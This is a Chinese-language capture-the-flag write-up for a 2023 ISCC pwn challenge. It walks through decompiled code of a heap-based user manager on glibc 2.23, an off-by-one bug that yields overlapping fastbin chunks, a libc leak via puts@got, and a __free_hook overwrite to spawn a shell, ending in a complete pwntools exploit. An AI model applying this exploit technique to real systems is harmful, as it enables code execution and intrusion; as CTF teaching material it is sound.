Featured image of post 2023 iscc 线下赛 私地 wp

2023 iscc 线下赛 私地 wp

会赢吗?

字数: 1781

题目

2023-ISCC-Group-stage-match/PWN私地附件

附件提供了 libc.so.6 和二进制。用 glibc-all-in-one 补齐 ld 就可以了。

分析

老版本 libc 堆题,libc 版本为 2.23,好打。

checksec 查看:

1
2
3
4
5
6
7
[*] '/data/git/2023-ISCC-Group-stage-match/PWN私地附件/9n1JmUd3cMl3R2RD/register'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    Stripped:   No

没有 PIE ,其他也无所谓。
ida pro 静态调试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  _DWORD buf[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&buf[1] = __readfsqword(0x28u);
  setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);
  setvbuf(stream: stdin, buf: nullptr, modes: 2, n: 0);
  while ( 1 )
  {
    menu();
    read(fd: 0, buf, nbytes: 4u);
    LODWORD(v3) = atoi(nptr: (const char *)buf);
    switch ( v3 )
    {
      case 1LL:
        create_user();
        break;
      case 2LL:
        edit_user();
        break;
      case 3LL:
        show_user();
        break;
      case 4LL:
        delete_user();
        break;
      case 5LL:
        exit(status: 0);
      default:
        puts(s: "Invalid Choice");
        break;
    }
  }
}

create_user:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_user()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t v3; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( *((_QWORD *)&heaparray + i) == 0 )
    {
      *((_QWORD *)&heaparray + i) = malloc(size: 0x10u);
      if ( *((_QWORD *)&heaparray + i) == 0 )
      {
        puts(s: "Allocate Error");
        exit(status: 1);
      }
      printf(format: "enter the user ID : ");
      read(fd: 0, buf, nbytes: 8u);
      v3 = atoi(nptr: buf);
      v0 = *((_QWORD *)&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size: v3);
      if ( *(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) == 0 )
      {
        puts(s: "Allocate Error");
        exit(status: 2);
      }
      **((_QWORD **)&heaparray + i) = v3;
      printf(format: "enter the username : ");
      read_input(a1: *(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), a2: v3);
      puts(s: "SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

一共有 10 个格子,分配两个 chunk。第一个 chunk 地址存储在 heaparray 里面,大小为 0x10。高 8 位地址存放下一个 chunk 的大小,低 8 位地址存放下一个 chunk 地址。第二个 chunk 保存 username。

edit_user:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_user()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(format: "Index :");
  read(fd: 0, buf, nbytes: 4u);
  v1 = atoi(nptr: buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts(s: "Out of bound!");
    _exit(status: 0);
  }
  if ( *((_QWORD *)&heaparray + v1) != 0 )
  {
    printf(format: "enter the username : ");
    read_input(a1: *(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), a2: **((_QWORD **)&heaparray + v1) + 1LL);// off by one
    puts(s: "Done !");
  }
  else
  {
    puts(s: "No this user !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里核心在 read_input 的大小是: **((_QWORD **)&heaparray + v1) + 1LL,有 off by one。可以多修改下一字节,也就是 size 字段。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 show_user()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(format: "Index :");
  read(fd: 0, buf, nbytes: 4u);
  v1 = atoi(nptr: buf);
  if ( v1 >= 0xA )
  {
    puts(s: "Out of bound!");
    _exit(status: 0);
  }
  if ( *(_QWORD *)&heaparray[4 * v1] != 0 )
  {
    printf(
      format: "ID : %ld\nUsername : %s\n",
      **(_QWORD **)&heaparray[4 * v1],
      *(const char **)(*(_QWORD *)&heaparray[4 * v1] + 8LL));
    puts(s: "Done !");
  }
  else
  {
    puts(s: "No this user !");
  }
  return __readfsqword(0x28u) ^ v3;
}

show_user 会根据 chunk1 内容,输出 chunk1 的大小和内容。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_user()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(format: "Index :");
  read(fd: 0, buf, nbytes: 4u);
  v1 = atoi(nptr: buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts(s: "Out of bound!");
    _exit(status: 0);
  }
  if ( *((_QWORD *)&heaparray + v1) != 0 )
  {
    free(ptr: *(void **)(*((_QWORD *)&heaparray + v1) + 8LL));
    free(ptr: *((void **)&heaparray + v1));
    *((_QWORD *)&heaparray + v1) = 0;
    puts(s: "Done !");
  }
  else
  {
    puts(s: "No this user !");
  }
  return __readfsqword(0x28u) ^ v3;
}

delete_user,把 heaparray 对应格子置 0 ,基本上没办法做 UAF 利用。

所以主要是 off by one 的利用。

利用

把程序逻辑封装:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

io = process("./register")

elf_bin = ELF("./register")
libc = ELF("./libc-2.23.so")

def menu(idx:int):
    io.recvuntil(b"Your choice :")
    io.sendline(str(idx).encode())

def create_user(    id:int,     username:bytes):
    menu(1)
    io.recvuntil(b"enter the user ID :")
    io.sendline(str(id).encode())
    io.recvuntil(b"enter the username :")
    io.sendline(username)

def edit(id:int, username:bytes):
    menu(2)
    io.recvuntil(b"Index :")
    io.sendline(str(id).encode())
    io.recvuntil(b"enter the username : ")
    io.sendline(username)

def show(id:int):
    menu(3)
    io.recvuntil(b"Index :")
    io.sendline(str(id).encode())

def delete(id:int):
    menu(4)
    io.recvuntil(b"Index :")

创建三个堆:

大小都是 0x18:

1
2
3
create_user(0x18, b"A" * 0x18) # 0
create_user(0x18, b"B" * 0x18) # 1
create_user(0x18, b"C" * 0x18) # 2

这样接下来写 slot 0 覆盖 slot 1 的 chunk1 metadata 的 size 字段。
改写成 0x41 大小。

1
edit(0, b"A" * 0x18 + b"\x41")

这样的堆空间为:

可以看到 0x22f4e040 地址的 size 字段被改成了 0x41。这时候 delete 1 之后就会制造两个 fastbin:

1
delete(1) # 1 free

可见 fastbins[0x20][0] 被 fastbins[0x40][0] 所重叠了。

这个时候我们创建一个 0x18 的 slot ,其的元数据 chunk 就复用 fastbins[0x20][0] ,再创建 0x38 的 solt ,其的内容 chunk 就复用 fastbins[0x40][0] 这样我们修改 0x38 solt 就可以覆盖 0x18 solt 的元数据,这样就能够对地址进行覆盖,通过 edit 和 show 来实现任意读写。

1
2
create_user(0x18, b"D" * 0x18) # 1
create_user(0x38, b"E" * 0x18) # 3

之后我们先修改 solt 3 ,把后面的 solt 1 的元数据覆盖掉,变成 puts@got 这样通过 show 就可以泄漏 libc 基址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
edit(3, b"E" * 0x20 + p64(7) + p64(elf_bin.got["puts"]))
show(1)

io.recvuntil(b"Username : ")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

显然,接下来劫持 free_hook 改写为 system 同样利用这个堆重叠即可:

1
2
3
4
5
6
edit(3, b"E" * 0x20 + p64(7) + p64(free_hook))
edit(1, p64(system))
edit(0, b"/bin/sh\x00")
delete(0)

io.interactive()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

io = process("./register")

elf_bin = ELF("./register")
libc = ELF("./libc-2.23.so")

def menu(idx:int):
    io.recvuntil(b"Your choice :")
    io.sendline(str(idx).encode())

def create_user(    id:int,     username:bytes):
    menu(1)
    io.recvuntil(b"enter the user ID :")
    io.sendline(str(id).encode())
    io.recvuntil(b"enter the username :")
    io.sendline(username)

def edit(id:int, username:bytes):
    menu(2)
    io.recvuntil(b"Index :")
    io.sendline(str(id).encode())
    io.recvuntil(b"enter the username : ")
    io.sendline(username)

def show(id:int):
    menu(3)
    io.recvuntil(b"Index :")
    io.sendline(str(id).encode())

def delete(id:int):
    menu(4)
    io.recvuntil(b"Index :")
    io.sendline(str(id).encode())

def g():
    gdb.attach(io)
    pause()



create_user(0x18, b"A" * 0x18) # 0
create_user(0x18, b"B" * 0x18) # 1
create_user(0x18, b"C" * 0x18) # 2
edit(0, b"A" * 0x18 + b"\x41")
delete(1) # 1 free
create_user(0x18, b"D" * 0x18) # 1
create_user(0x38, b"E" * 0x18) # 3
edit(3, b"E" * 0x20 + p64(7) + p64(elf_bin.got["puts"]))
show(1)

io.recvuntil(b"Username : ")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

edit(3, b"E" * 0x20 + p64(7) + p64(free_hook))
edit(1, p64(system))
edit(0, b"/bin/sh\x00")
delete(0)

io.interactive()